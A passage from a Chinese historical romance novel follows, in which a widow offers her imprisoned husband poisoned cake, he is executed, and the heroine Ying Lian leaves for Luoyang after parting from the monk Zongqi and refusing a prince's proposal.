“不劳你费心，总之你也瞧不着了。”李定娘把灯笼搁在一边，却从怀里取出张包裹的帕子，一层层揭开了，里头是一块早已冷凉的桃花饼，只是卖相不好，脆酥的饼层掉了零零碎碎一地。她却不当回事，淡淡道，“你这人好面子，我向来晓得。你若早把我杀了，不也就没这一桩祸事了。你可知道，我从你书房摸着那一张盆硝木炭的钱领时，其实本也没猜到，你是要拿来制火药的。” 死一般的寂静，王渡不可置信盯着她，目光像要把她剜出一个洞。 “是你……”他心血上涌，目眦欲裂。 李定娘点头，“是我，我给赵将军传的信。” “贱。人！”他怒吼。 她却无动于衷，“怪了，你能与罗大王串通一气来劫掠我家、杀我父母，我便不能以牙还牙，送你一程？是你自己贪心，为着要当六殿下的舅兄，把个杀亲的仇人留在枕边。你递了刀，我怎能枉费你好意？” 见王渡面色灰白无语，她心中起了一点快意，将那桃花饼递过去，在他身前几步的地上，“上一回我本就想毒死你的，只是后来经人点醒，你若那时就死了，名声显达，反衬得我是个毒妇，岂不亏了我？这会不一样啦，待到明晨，你阴谋反叛的消息便会传遍全城，到时上得市口法场，少不得要被骂上一骂。你辛苦经营一遭，却落得个身败名裂的结局，是不是很不甘？” 她句句戳在他的痛处。王渡不得不承认，那是他最不愿、也最害怕的事。 “不过，好歹夫妻一场，我总也舍不得你落那样的凄凉下场。”李定娘话锋一转，竟微微笑了起来，足尖伸过铁栏杆，轻轻将那桃花饼推得更近，“这饼里有足量的砒霜，你若就此吃了，不明不白死在这狱中，到时必有人猜度，你是因被奸人所害，他们再指你阴谋反叛，必也有人不信的。你虽死了，可名声得保，说不准还有人扛着你的大旗，反出宁德军呢！” 她伸来的那只脚小小巧巧，厚底的凤头履上是鸾雀穿花的一丝一线。王渡曾不止一次地脱掉这样一双鞋，揉捏把玩其中的玉趾纤纤；也曾不顾那脚趾挣扎踢蹬，强将人压在身下狎玩。如今它依旧纤巧淑静，却要送他一送。 他盯着那饼，嘴唇嗫嚅，脑中她引诱的话不住盘旋： 吃了，便能保全名声。 可若不吃呢？ 他猛地惊醒，背上涔涔的冷汗，光火之中冷笑，狂态可怖，“你休想诓我自尽，我若真吃了，岂不遂了你的愿就此死了！” “难道你如今还以为，他们会饶你？”李定娘惊讶问。 可此妇人心最毒，她送来砒霜，想要致他于死地，那便定然说明，他本不会死。 想到此处，王渡犹如一个濒死之人，偶见一线生机，兴奋起来，一股激上心头的沸血在体内冲撞，冷笑狰狞，扑在铁栏近前，将那毒饼踩了个稀碎，见李定娘因畏惧他而后退，扯着嘴角笑道：“你等着，等我全身而退，必不会再放过你，我要将你的皮肉一块块割下来，头颅送给鬼面，心肝拿去喂狗！” 李定娘退在他伸手够不着的几步之外，眼波微闪，缓缓点头，“好，我本晓得你多疑，不愿赴死。你最后的路已断绝，明日刀斧之下，想我这块饼，可别再悔。” 她说罢，提了灯笼，未留给他一点光亮，也未回头望他疯狂的面一眼，依旧沿着来路，毫不犹豫地转身离去。 王渡仍在后头癫狂地大叫：“娼。妇！你等着去死吧——” 夜风冰寒，裹挟着干冷的空气，侵入李定娘肺腑。她深吸了一口气，才将地牢之下的腐臭气息摈除，仰头望见极满的圆月，清湛湛地几乎要流溢出水光来，映得漫天繁星也失了颜色。 马匹被拴在马桩上，百无聊赖地刨着蹄子，喷出不耐烦的雾气。李定娘摸了摸马匹，翻身骑上，向守卫点头告辞。 那下处的地牢里，似乎还传来王渡不甘地叫骂。她骑在马上，与过路的巡丁擦身而过。他们向她行礼，都道夜禁将至，请她速行。 上元夜禁直至丑正。李定娘漫无边际地想，原来这天翻地覆，长夜竟还未明。她又要在这冷人心骨的深夜之中走上多久，才能摸着家门。 她黑夜的最后一点光火，名为“复仇”。它们一盏一盏地燃尽，到最后只剩一盏孤索，凑近细看，原来竟是她自己。 若不是她浅薄、自私、无能、懦弱，怎会一步步滑落，到如今境地？她才是她最该恨的人。 一茬一茬的巷口、街石踏过，李定娘在这愈发幽冷的马蹄声中，望不见长夜尽头，却瞧见依稀闪动灯火星光的一处深暗之中，有一轮波光粼粼的月，它湛湛如青莲色，琼楼玉宇飞檐巍巍，似有玉兔金蟾，日复一日、年复一年地欢笑团圆。 它们从不离分。 她被这一幻境吸引，但听得碎冰之下流水潺潺，一路淌过飞虹木桥，不自觉拨调马头，向水声处而去。 河波水镜之上唯有清月，舟子花舫早已向外城而去，幽夜掩映，无人会瞧见，桥下有人失足落水。 李定娘策马慢慢地走，失了心魂，耳边流水声急促起来，原来这河并不如她料想中细缓，那么便更好了，她只要跳下去，会不会水，都会随波逐流。 她已到河边，正要下马，忽不知哪里来了一只手，将她的辔头一把牵转过去，那力道轻柔，却十分坚定。一个少年清朗的声音不甚圆润地从旁侧响起： “夜禁将至，姐姐怎么却走错了道儿？这里是过不去河的。” 她陡然从迷梦中惊醒，颇怀怨愤地盯着为她牵马的人。 “你怎么在此？”李定娘心绪不平，又有一种错事被人抓现行的心虚，转而在他身上悉数成了恼怒，“袁武！我不是教你别再出现在我眼前么！” 面前的少年回望她一眼，深邃的五官眉眼 向她讨好地笑笑，又耷拉下来，“我知错了，真的。” 上一回山寺施粥的事后，李定娘被他气得不轻，冷着脸赶他走，再不与他见面；今夜他却又溜出来，偷摸跟在她身后，到夜深人静时，才牵了她的马，将她一步步带离河畔。 “姐姐若还气，但打我骂我，我绝不有怨。”袁武走在马前，一边走，一边低声道，“我再不说那种浑话了。” 他身量原就比寻常少年人高大，如今臊眉耷眼的样子，像条被主人罚了的小狗，一股子委屈劲儿闷在心里，眼角眉梢止也止不住地流露出来。 隔了些天，李定娘早已将十分的怒意剪了七八分，如今见他这样，最后那几分也大半消没了，只是瞧着他脸廓鼻梁，以及偶尔抬头时泄露的那一点心心念念的神态，心中空寂慢慢地又填了些滋味进来，从前拿他当个消遣，甚而当做压抑时泄愤的口子，如今再瞧，心底里某处却悄悄地软了。 “卑躬屈膝，没出息。”她紧攥着鞍辔，眉眼冷冷淡淡的，说出的话却早没了怒意，“难怪人家能做将军，你却只能为奴。” 袁武与她相处时，总是能揪出她的一星半点欢喜，却将这些糟心话通通如清风过耳。他更不去想谁是她话里的“将军”，唯独瞧见了她柔和下来的眼角，以及话中隐约的无奈。 他笑起来，眼底星月伴着她身影满溢，“没出息就没出息的，若能一辈子为姐姐牵马坠蹬，我要什么出息？” 李定娘一时被他驳得说不出话来，又在他眸子里触摸到了真实而温暖的皎皎月色，下意识张口要刺过去的话，末了鬼使神差咽回了肚里。 她就这么骑在马上，由他牵着辔头，脚步混着哒哒的马蹄，水声渐渐消绝，慢慢地往家去。寂静之中，又别有一种规律而沉稳的声响渐渐升起，教她无处安放的神魂，仿佛终于有了归路。 那是她自己的心跳。 第107章 第107章月归旧穹苍，两处茫茫…… 王渡最终被判了斩刑。 因人赃俱获，没什么转圜的余地，便就于三日后，押赴市口法场，示众半日，午时问斩。 行刑那日，李定娘作为家眷，却并未去观瞧。更无人哭念，王渡就这么顺顺当当地被斩下了那颗机关算尽的头颅。 所幸单铮到底念在其曾有功的份上，如常安葬了去，后事办得普通，却并不敷衍。 这一场风波，便雷声大、雨点小地过了去。 上元惊魂刚过，便有一骑，直入江宁，带着洛京传来的圣谕，递上单铮案头。 谕旨中严词驳斥了六皇子“为质”的提议，并将郭显被扣押的事称之为“代天子巡游”；又口头上轻飘飘下了谕令，召郭显回朝听事——当然，单铮若肯一同前来，朝廷必会量才录用，封个京官做做。 这事如鸿毛一缕，落在偌大的江宁城中，连那传旨的天使也有自知之明，旨意送到，连口酒水也没接，向洛京落荒而去，乌泱泱一大批人马，撤了宝盖、收了仪仗，生怕单铮一个恼来，将他等也给扣下了。 单铮自然不会当真放郭显回京，更不会一同前去。谁也都晓得，这谕旨不过一纸空文，还不如江宁城口张贴的榜文有效。 只没几日，正是惊蛰仓庚啼鸣时，气象复苏，江宁城中却又迎来一个消息： 天子晏驾，太子登基，改元继隆。 消息是洛京里又一信使带至，这一回却与上回颁赐谕旨不同，跟随前来的，更有四名女官，方顶幞头、圆领短衫，仪态端方肃然，特来告明缘由：新帝因感念与故敷文阁学士应安仁的君臣旧谊，特追封为三公太傅，追谥文献公，返其祖业家宅，又赐封邑；因闻听有应氏孤女与广陵县主沦落蒙尘，圣心不忍，特召回京师，以慰先君贤灵。 单铮倒没压着这事，径遣人告知了应怜与李定娘。 其时应怜正为赵芳庭核查上月府署采买的簿子，听闻此事，怔了半晌，连狼毫笔尖下墨汁晕了纸面也没反应过来。 直待到了女官面前，她也还是飘忽的，只觉两只脚踩在地面，软绵绵地没有实感。 四名女官中，一名为首的姓朱，上了几分年纪，曾是先帝元后跟前的得用之人，便连赐圣谕的天使也要敬让几分，原本端端然稳坐，见了应怜，上下微微打量一番，一向不苟言笑的脸上，现了一丝笑意，点点头，“真真造化弄人。应小娘子，果然是你。” 应怜逢年过节，常随母亲入宫，怎不认得这位朱女官，此时更起了三分不真实感，只按着惯常礼节，寒暄问好几句，一时间心中千头万绪，竟哽在了喉头，寂寂然无话出口。 原来郭显说她不久后兴许可回洛京，竟是真的。 这二年来，流离飘蓬，倒仿佛足足过了一世，从前的十五年锦绣富贵已是残碎旧梦，她早不当真了。 朱女官又与她述了一遍旨意，道：“官家无时无刻不念着文献公，一待登上大统，第一件便是追赐恩荣，又亲命下官等赴江宁迎接。小娘子这二年多受委屈，一朝苦尽甘来，待回了京，还有更大的恩典将要赐下呢。” 应怜清楚，若按礼仪，她此时便不下跪，也得好好儿说些感恩的话，可不知为何，瞧着几位女官言笑仿若垂赐的眼神，她仍是百般客套说不出口，只得干巴巴又道了谢，便望向裁断的单铮。 单铮倒很晓人心意，不答应允与否，只道女官们远途辛苦，先好生休息几日，再做打算；便将来使别馆安置，又独留下应怜，道：“我此前早已听说你身世，没什么好瞒的，如今你可恢复本来名姓，这是好事。洛京本是你的家，你此番若随他们归去，我也绝不阻拦。” 单铮此人，心口如一，再坦荡不过。应怜谢他好意，“我再想想，这一二日必有个答复，可使得？” “依你。”单铮道。 应怜便告了退。 她走后，后厅中却转出了赵芳庭，远望庭院里袅袅的背影消失在墙角，回向单铮，道：“哥哥是否想过，此女走便走，可宗契若要跟着去呢？” “那是宗契的事，我徒然拦着，做了恶人，也是留得住人、留不住心。”单铮不为所动，“况宗契为人一诺千金，既已答应投宁德军，便绝不更改志向。这也正是柳娘子看重他之处。” “应娘子。”赵芳庭替他改口，也不当真要问，笑着出了厅堂，啧啧叹道，“他两个，好事多磨哟——” 他走后，单铮却也没按例去至城外巡营，却先去了西院一趟。 郭显的生活很规律，若往常，晌午这时日，他必定正卧榻午睡。可今日单铮来时，却只见他披一袭裘袄当被，窝在庭院正中一把躺椅上，眯眼晒太阳。 此时节已不是天寒地冻，虽仍残余些料峭春寒，到底日头晒在身上，暖洋洋得令四肢百骸都懒散。 单铮正想问他怎么 到了院子里午睡，郭显却已睁了眼，底里清明，天色一样煦暖里捎着薄寒，温温淡淡地望过来。 上元夜事变后，院里换了一批守卫，枯石衰草上的血渍也着人洗刷了去。郭显便仿佛无事发生，抖开裘袄，欠了欠身，“将军一向安好？” 单铮道尚可，“洛京消息至，先帝晏驾，你……节哀。” 郭显不如他想象中那样哀恸，“多谢将军体恤。” “江宁府城不服白。你可要些奠仪，祭一祭先君？”单铮问。 郭显想了想，最终点了点头，“也好，那烦请将军为我备些瓜果钱香，我为人子的，也该祭悼一番。” 单铮便命人备下香、花、纸钱等物，同着郭显，只在这小小的四方院里，祭了先帝一回。 比起洛京里声势浩大的哭祭，这一点小小的纸马香客，简直微如毫毛。但郭显觉着已够了，“心意诚致便足通神灵，不在乎外物多少。况我本也不是爹爹喜爱的儿子，饶供奉了金瓜玉果去，他未必瞧得上。” 他恭敬的话里，却又含着些冷淡的戏谑。 单铮不知他们这天家父子是否也如寻常人家，正有一着没一着琢磨间，忽听郭显道：“我打听了些将军的旧事。是我家亏欠于你。” 两人正一张张烧着纸钱，灰随烟起，不知是否熏着了郭显的眼睛，他指尖揉了揉，眼眶便微微有些发红，倒像哭悼过亡父的孝子一般，只是神色并不见悲哀。 “你家亏欠的何止我一人。”单铮并不客套，却也早没了怨愤，转而道，“匈奴顽暴，一日盘桓西关，西关子民便受一日的戕害。夺大位也好、为鹰犬也罢，我只愿护万民平安，你若当真能遂我心愿，我保你又何妨？” 郭显停了手中悼祭，微红的眼眶定定，直望飞烟对面他坦直的神色面孔，久久忽而起身，请单铮稍候，去到屋中，取了一物复返。 那是他挂在壁上、不离左右的佩剑。 “此剑是先皇赐我，取君子凛直不阿之意。我愿赠与将军，并以此为誓——平荡胡虏、保疆安民。”他将剑双手相奉，没了先前冷淡的漫不经心，正视单铮，“君取此剑，若我有朝一日违誓安溺，可直杀我。我绝无怨言。” 单铮不以为意，“天家无信。” 郭显仍拱手奉剑，执意向他。 单铮便权且取了剑，如执山河，眸中比日月生辉，束发在阳光下流溢烈烈的殷红，倒映郭显眸中，似直欲焚尽一切幽魅的天火。 “好，我便信你一次。”他出口成誓，话在盘旋直上的青烟中，化作雷霆。 应怜最终决意要走。 女使们皆恋恋不舍，想着不日便动身，当下便收拾行装。应怜问：“你们谁愿随我去洛京？” 几人面面相觑。春莺道：“娘子，我几个家中都有爹娘，已在这江宁城中安顿下了……不敢以违逆之身，同去洛京。” 应怜点头，并不意外。 为着知根底，此处选来的女使僮仆，皆是有亲族之人。应怜此身入京，足被赦免从贼之罪，可这些随从却不一定。洛京的确繁华，应氏也即有炙手的富贵，但比起江宁的安稳，似乎都显得不那么要紧了。 “你们若想离开的，尽可离开；若仍愿在此宅居的，便替我守好家宅。”她叮嘱。 茜草纳罕，“娘子这话，竟还要回来？” “也未可知。”她笑笑。 当下便又去了一趟李定娘处，讲明去意。李定娘如今算作寡居，却连戴孝的面子活也懒得做，闻听此，道：“巧了，你不来我也要去寻你的。你回京吧，我不去了。” 虽天子一同怜悯她家遭贼戮，召入京中，然李定娘早先已离了洛京，又因着旧事，对那处并无留恋。应怜猜想便如此，勉强不得，又听她问：“高僧晓得了么？” “……还不曾见着他。”应怜道。 “这话，你得亲口告与他。他一番为你，你却走了；若换作旁人，心里要生芥蒂的。” 她默然片刻，心里有些发涩，“我会的。只是如今我背着爹娘兄长的命，必得堂堂正正回洛京，为他们安葬祭扫。” “那你须知，去时好去；再要回来，可就不一定能够了。”李定娘又道。 应怜哪里不知，一路来早已想得清清楚楚。除非宁德军事终了，兴许她便再不能踏入江宁。 与宗契之间，才两心相通，眼望着便又要分离。 从李定娘家中出来，日头已有些黯淡，行人归家，各自离散，湖边新绿，嫩柳初芽却现了些回春气象，三三两两的鸦雀梢头闲聒。应怜望见四面屋舍起了炊烟，正是黄昏饭时，于一派市井新春之中，忽然不愿闷在狭小的牛车车厢里，便教车夫先回，自己取了帷帽戴了，慢慢地沿着河、顺着桥，穿街过巷，走回家去。 城内外消息传递得很快，宗契这时分应当已得知女官来接她之事了。 若换旁人，兴许要恼。可那是宗契，他纵着自己不是一回两回，这一回又怎会恼。她说要走，他只会欣喜，喜她一朝重回锦绣、身归旧荣华。 他再不会留，说自己舍不得云云，哪怕心里当真不舍。 傻子。 第108章 第108章但得两心同，不在朝与…… 行过一桥时，苍青天幕里有月初显，通透如洗。桥下舟子归家、花舫悬灯，一轮一轮，如地上明月。应怜立于桥头，望了一时，忽心有所感，不知怎的，侧头张望。 桥下石阶尽处，缓缓行来一个僧人，灰布直裰里宽遒肩背，巍峨如岳，一步一步，撑起苍苍的天穹。 应怜凝目良久，瞧他眉宇气态，几乎舍不得挪开眼。 他直行到石桥最高处，到她身边。 应怜心情有些沮丧，将一些扫兴的话滚到口边，又咽了回去，最后却只问：“大和尚，你来化缘么？” 宗契笑了笑，“贫僧不化粥饭。” “那你要化什么？” 波面花灯澄明，旋转如星，天上一轮未满，倾泻温柔。宗契望着她，未只言片语，却早似明了了她所思所想。 他静默时，眼眸中盛着她，妥帖而安稳，便又开口： “愿化娘子一份随心自在。” 应怜怔怔的，忽而便笑了。 “我要走，便得撇下你。”她渐渐收了笑，把心底的话说出来，“——哪里有什么随心自在？” 宗契在她身旁，与她并肩，一道望那逐水的舫船，柔和的目光与她交织。 “你与我，我们都有应尽之事。你在洛京，我在江宁，便一时离分。”他道，“但得两心如一，总有圆满之时，不必在朝朝暮暮。” “你说这话，不过宽我心罢了。”她低低道。 他们便一道下桥归家，并着肩说话。 宗契问：“我得留在江宁，护保宁德军，你可怪我？” 应怜摇头，“归根究底是因为我，你才入得江宁。我谢你还来不及，哪里会怪？” “那我又怎会捉着你不放，或因你回洛京而埋怨你？”他道。 那话出自他本心。应怜虽舍不得，但慢慢便释了怀。到得看见家门，巷口作别时，她定定地望向他，“那咱们说准了，谁若事了，便相寻来，可好？” 她手拨着帷帽轻纱，露出一双再楚楚不过的眸子，直望向宗契心底最柔软的深处。 “好。”他毫不犹豫。 两心如一，圆满自在。她心中念着他，回入家门，离别而去。 应怜又亲见了单铮一趟，定了回洛京的主意；将学堂与赵芳庭处的活计一样样寻人交接，又多有女眷张罗饯行的宴席，几日里来便忙碌了一些。 一连到了二月下旬。这日六皇子郭显又遣人来请，说近些时日精神不济，想她为调些安神的香。 他隔三差五寻应怜说话，是常有的事。应怜估摸着应当没什么大毛病，将原为自个儿合的一味安神香携了，去到郭显的西院。 郭显仍是那样懒懒散散的模样，胜在有一副隽秀华贵的容貌，哪怕举止上失一份端庄，也无人挑他的不是，反更推为随性倜傥。 门口兵士并不盘问阻拦，便引她入内。待虚掩了门，应怜随口问：“殿下这处的守卫似乎松泛了些。” 郭显不置可否，斜倚在一张方榻上，见她来了，勉强坐直了些，但瞧眼下确是有些青黑，也不绕弯子，伸手点指狻猊香炉，“投去些，我正头疼。” 应怜依他的话，炉中投入几粒香药，又道：“焚香火气较之隔水香略大。殿下若因心气过燥而安神不得，平日里还是宜用隔水香。” 郭显不答，只望着她低头动作，心却不知飘散在哪里。 “我夜来梦见了先帝。”他有一搭没一搭地揉着太阳穴，半晌道。 “日有所思，夜有所梦。”应怜道。 “他斥我是不肖儿孙。”郭显不指望她有什么好奇心，自顾自接话，“江南平叛不成，反成了人帐下俘虏。” 应怜将带来的香药匣放在桌上，“可见梦是幻非真，他哪晓得你是自甘就缚。” 郭显笑了，向她招手，玉石般形状优美的指尖扣点自己额 角，“替我揉揉？” “殿下自己有手。”应怜道。 从前洛京里，她与他谈不上熟稔；到此时府署里常相见，反倒自在了些。应怜也不与他客套，有些渴了，便自个儿斟一盏温茶来喝，又将那小巧的银盏掌心里摆弄。 郭显瞧着她。 “你在外二年，再回洛京，可得经旁人口中风言风语。”他缓缓开口，也不知是突发奇想还是早有此念，忽道，“我倒有个法子，可保你声名不减。不如你嫁了我？” 应怜一口水咳在嗓子眼里，半晌顺了气，瞪圆了眼，“婚嫁之事，殿下莫拿我玩笑。” “非是玩笑。你是应公之女，若非早与元氏子有婚约，本也足配皇子。我见你鲜妍可爱，又很是喜欢，情愿娶为正室，难道不好？”郭显道。 他这样理所当然，闹得应怜涨红了脸，有些恼，一时又不知怎样驳他，只干巴巴挤出两个字：“不好。” 郭显坐直了身子，追问：“是我门第不高？人品顽劣？” 他明摆着是消遣她。若论门第，还有谁家比他更高？若论人品，一来他龙姿凤章，二来脾性随和，更不曾有半分与“顽劣”沾边。 只是她与他论婚嫁，岂不是天大的玩笑。 应怜铆定了心不理他，脸别到一边；郭显却不依不饶，更道：“难道……你仍心有所属，想着那元四郎？” 他并不在意应怜的冷淡，发了一声笑，俊美的脸上半是怜悯，半是奚落，“事已如此，便是你念着与他的婚约，难道他还有脸娶你？他若娶了你，他的‘孝’字又该放在哪里？” 应怜听他话中有话，不由得又转回脸来，“什么孝不孝的？我与他之间，碍着他行孝什么事了？” 郭显顿了顿，“你……不晓得？” “何事？”她皱眉。 郭显忽然不如方才那样随意，面上那点奚落渐渐没了，似乎犹豫该不该说，半晌坦言，“当初暗中上疏弹劾太子谋反、府邸私藏刀兵龙袍之人，正是元相。” 元羲之父元坚，先帝在时，曾任尚书左仆射，代行相职，多被呼为“元相”。 元相清流，从不涉景顺、元祐二党之争，自然也不插手皇嗣之间的明争暗斗，这是京朝官们皆知的事。 应怜如被锤当头重击，一时怔愣，回不过神来。 “位越高，行越险。以元相人臣之极，哪能当真做个甘国老？你二家结亲时，他或尚行中庸之道，只是先帝老迈，党争日盛，他又曾是三哥外祖父的学生，与三哥、新帝之间的关系，孰近孰远，一目了然。” 郭显后头又说了什么，她木木地听在耳里，却以分辨不出究竟含意，满心里只想起了父母、应栖。 ——元羲。 他临行前夜，醉入屋门，失态唐突，抱着她一遍一遍说“对不起”，说他不知道。 那时以为他痛的，不过是她遭遇不堪，风尘里险些碾过一回。 如今恍然梦醒，才悟出他究竟所说对不起什么。 他说不知道害她零落之人，竟是一向最仰慕的父亲。他说对不起，孝与情爱难两全，他此生是元氏子，享了元氏的荣华，便要担元氏的罪。 她与他之间，哪怕没有宗契，原来相隔着的，最深重、最触目惊心的，竟是亲人的鲜血头颅。 应怜手脚冰凉，攥着杯盏的指尖发白，蓦地目光刺向郭显。他的话截住，回望她，不再谈从前，而道：“你若嫁我，我可立誓，不再纳侧妃，只与你两个，如何？” “你说他与我有家门之仇。”她抿紧的唇同样失了几分血色，更有几分惹人心怜，只是说出的话不那么柔弱，“难道我与你就没有？真正杀我父母的不是元相，是你的父亲。” 郭显没料到她如此答言，不禁一愣，紧接着笑了起来，“不，杀他们的，是权势。你若嫁我，便也拥有了执掌生杀予夺的——权势。” 应怜的目光冰凉通透，有一瞬间，郭显甚至觉着，那份通透刺破了他的邀约、刺破了你情我愿的交易，直刺向他心底、甚至不为自己所知的某处隐秘。 ——他的确是想要她的。 或许不能如他承诺的，只与她两人，像平头百姓那样过日子；但她若应允，他愿拱手送上最滔天的权势，与她江山共享；生同衾、死同穴，许她做最尊贵的那一人。 但应怜答道：“我不愿。” 郭显慢慢从心底的隐秘里，回到了现实。 她并未给出这样那样的理由，只说了这几个字，将茶盏搁下，里头半杯残茶早已凉透。 “这许是我最后一次来，殿下，再会。”她起身告辞。 郭显在她背后，最后一次真心实意地问：“你真的不愿嫁我？” 应怜没有回答，也没有回头。 晚间，鬼面人如平常一样，来讨他一杯清酒。 看守的兵士的确宽松了许多。但郭显本就没什么避人之事，起居一如往常。 他斟了一杯温酒，推在桌对面。鬼面人并未立地饮尽便走，却不同以往，坐定了下来。 他盔面上的恶鬼张开獠牙，在通明的灯烛下，泛着澄而青灰的光，冷暖截然不同，亮处是铁、暗处是鬼。 “她要走了，且不说这一去得不得回；再往前，你得趟过九死一生，战场上刀兵无眼，可再没重来一次的机会。”郭显又自斟自饮，平平淡淡地闲聊，“你当真不与她相认么？” 鬼面人沙哑的嗓音扭曲在哽喉之间，“不。” 郭显不知是叹是笑，“说你是别扭呢，还是无情。死人总不会比活人更教她开心，难道你觉得，比起活着，她更在乎你是否毁了面容？” “应栖，已死。”鬼面人提醒他，“别忘了你答应我的。” “没忘。我提了。”郭显无奈摆手，“她拒了。” 精铁鬼面下的双眼如幽魂鬼狱的血海里捞上来，幽森森盯着他。在这样的目光下，饶是郭显也有些凛然，只得又道：“行行行，我再提就是了。” 那双眼才淡下来。 狻猊炉里香已燃尽，果是合他心意的安神香。郭显头脑舒坦了些，心底里却总不尽如意，瞧着鬼面人那双清明的眼，暗自与应怜那双秋水盈盈的眸子相较，怎么也觉不出一丁点相似，喟叹道：“ ……都是犟种，强拧着也不肯低头。” 鬼面人不开口，以一贯冷淡的态度喝他的酒。郭显也不再说话，屋中便静了下来，唯有杯盏轻碰之声。 疏窗外朗月渐升，壶中酒一晃荡，已微微尽了。 平日里郭显只饮半数。另半壶今日入了鬼面人的口腹。鬼面人饮了酒，眸光仍旧清明，起身离去。 郭显扬了扬玉盏，示意相辞，却在他人已远去处，目光久久未收回。 他忆他少年意气的时候，剑芒锋利，渐渐却成了今日冷硬，未必不是自己指了一条艰难险阻的路与他之故。感慨忽生，郭显倾尽壶中最后一点，唯剩半盏，为着记忆中曾见的那鲜衣怒马、恣意风流的应氏子，饮尽了残酒。 第109章 第109章山长水远送卿归，留也…… 女官们表奏天子，俱告江宁之事，待到三月初，不再逗留，便到了回京之时。 这一段时日，作为天使的几位朝官与宫禁里挑选出的女官们，与宁德军之间彼此相安无事。他们是天家的脸面，代表的自然是新帝的态度。 风闻这位先帝为太子时，生性就庸懦有余、果敢不足；登位后对于占据了江宁、沂州的宁德军数万反叛，也不说剿、也不说不剿，干脆使了个两眼一闭、万世太平的缩头兵法。 想来他从一个险些被废的太子，艰难爬上帝位，其中曲折，不足为外人道。应怜曾向女官们身边的宫婢隐晦打听过，但无论怎样旁敲侧击，宫婢们也说不出个究竟，只其中一个与她说些新鲜事：“听闻官家从旧邸里提携上来一位新女官，甚是看重。可这位女官既未有好的出身，也不曾自小陪伴在官家身边，若说模样……虽略好颜色，终究比不上青春年少的妃嫔们，也不知究竟凭何得了官家青眼。” 应怜道：“或是她人品可靠、性情稳重？” 宫婢偷偷道：“这位祝女官性子可冷，时常对嫔御贵人们也爱答不理呢。” 宫禁里多的是这样琐碎的风闻，应怜见再问不出个所以然，便只好作罢了。 临行之日，不少人来相送，应怜这处，得了李定娘、秾李等人好一番叮嘱，久久执手，不忍作别。尤其萍儿，拉着她裙裾，哭闹了好几日，到如今眼眶仍红红的，抽噎着问：“姐姐若走，何时才能回来？” 江宁城破几近一年，时日如水，她渐渐懂了些事，隐隐晓得爹娘是再回不来的，总生怕应怜也就此一去不返。 应怜更是心中不忍，登车前，将她抱在怀中，为她把丫髻上弄乱的珠缯系好，抚摸着她的头发，宽慰道：“我必要回来的，若萍儿思念我，便写信来，可好？” 萍儿委屈地点头。 可除了孩子，谁人心中都清楚，宁德军但盘踞江宁一日，与洛京两地书信便难以相通。 她心中叹息，登车再望，却只见单铮带着赵芳庭、吴览、鬼面将军等人，头前送别，找寻了几遍，只不见宗契的身影。 或许是两人昨日已别过，今日人多眼杂，相别时情意依依，恐为有心人察觉。毕竟她与宗契之事极为隐秘，除了彼此的几个家人女使，再无旁人知晓。 应怜寻不见他，慢慢地也就放下了马车布幔，心中离别滋味如潮水涨满，不留一丝喘气的空隙，怅然又窒闷。 早知如此，当初不如不顾旁人眼光，人前便袒露她与宗契的情意，与他恩爱一场，也好过从今两地相别，再见更不知何年月。 马车粼粼驶动起来，她听见帐帘外络绎送别之声，光影变迁，是缓缓行过连绵屋舍，曦光辉映了。 就这么离开了江宁。 若论舒适，行船最稳，可江面行舟，一样有遇见水匪的可能；且近些年地界上不太平，饶是打着官家旗号，逢见了水匪，也只有被擒或落水的份。因此纵然车马劳顿，到底陆路经州过界，使人心底安稳些。 一行二百余人，自江宁北上洛京，一二千里山水迢迢，一个月能至已是谢天谢地；更别提若遇风雨，又得耽误行程，这一趟两个月也不是没可能。 应怜日日坐在马车里，只一二日，便吃了颠簸受罪的苦，到得第三日，索性向人要一匹马来骑。 朱女官听得了信，特地来询问：“娘子要骑马？坐车不好么？” “车中闷顿，我不愿久坐，骑马也好赏一赏沿途风光。”应怜道。 祝女官却平静地回绝：“娘子贵体，这荒郊僻壤之中，不好贸然露面，还请忍耐一些。” 她也并非有意为难，向来的规矩如此。应怜清楚，只是骨头节儿酸痛，便道：“那我下车走一走吧，在人堆里，不那样显眼。” “这不合规矩。”朱女官微微垂首。 她说罢，行了个礼，便到前头队首去了，徒留应怜独自气闷。 朱女官是宫禁里女官之首，尤其代表天子对应怜的看重，规矩大些，使人无可奈何。 这才第三日，也不知走到头，应怜一路没被累死，恐怕先要闷死在了马车里。 又过了两日，行至一小州界，应怜实在不愿马车里憋着，干脆问也不问，下得车来，与宫婢们便走在了一处。 她贪看道旁货郎肩挑担上竹篓香袋、泥人风筝，又见木梳钗、子推燕，惊觉再没几日便是寒食，便想买一串燕儿插在马车门楣上，权做节庆应景。身旁宫婢却被她吓了一跳，忙推她上车，“若教朱娘子瞧见，必要说教的！” 应怜不肯，“你们走你们的，我买串子推燕便来。” 宫婢奈何不得，哪里敢撇下她走，只得陪着稍候。应怜十几个钱买了一串，青青的柳枝攥在手里，才回转，却忽见朱女官又至，微蹙眉头，话里有所不豫，“娘子如何不覆面遮脸便下得车来，与个贩夫又把什么话说？” 她不由分说，教人搀扶应怜回车，自己跟着登车，果然说教了一通，什么淑仪贞静、举止端庄云云；听得应怜昏昏入睡，想从前节庆入宫，逢见朱女官，她也并不如此古板聒噪的，怎么如今一张嘴搭在自个儿身上，说个没完。 许是见她态度敷衍，朱女官止了话头，再不往下说，只教她莫再抛头露面，便离开了。 应怜总琢磨着她态度有些怪，道是关心，可却总有另一层意味在内，尤其她说话时望向自己的那双眼，仿佛墨线准绳，时时考量她是否合乎规矩似的。 直到晚间，一个向来与她走得近些、又爱碎嘴的宫婢才悄悄在她耳边透露了一句：“娘子可得听话，多奉承朱娘子。咱们听说，官家此回谕令朱娘子前来，非止为接您回京，更是要暗中考量考量您。” “考量我？”应怜不解，“考量什么？” 宫婢附耳细声，“考量您是否仍旧淑贞，可为天子嫔御。” 应怜惊得差点没忍住声。 但转而仔细一思量，她便明白了。 官家这是好意，平了她家的冤反，接她回京、复她荣华，但同时也清楚，她失了怙恃，在外流落二年，于婚嫁上早已落在下乘，再不会寻得一门登对的亲事。将她纳入后宫，是官家念与她家的旧恩谊，故此才请得动朱女官，名为接人，实则相看。 至于为何不提她与元羲的旧约…… 应怜闷头看自己那双曾与他牵过又放开的手，攥紧、舒展，从无有一刻像此时这样清明：元家失势了。 元羲的父兄、叔伯，或还挂着朝中虚职，但绝无可能继续被重用，以致元羲与自己的婚事，彩云散尽，再无人不合时宜地提起。 她不知是该得意还是失意。 这一场翻天覆地之中，谁又是能从头笑到尾的？她家死散离别，元家一枕空梦，为着功名富贵的贪欲，把两家的前程尽送。 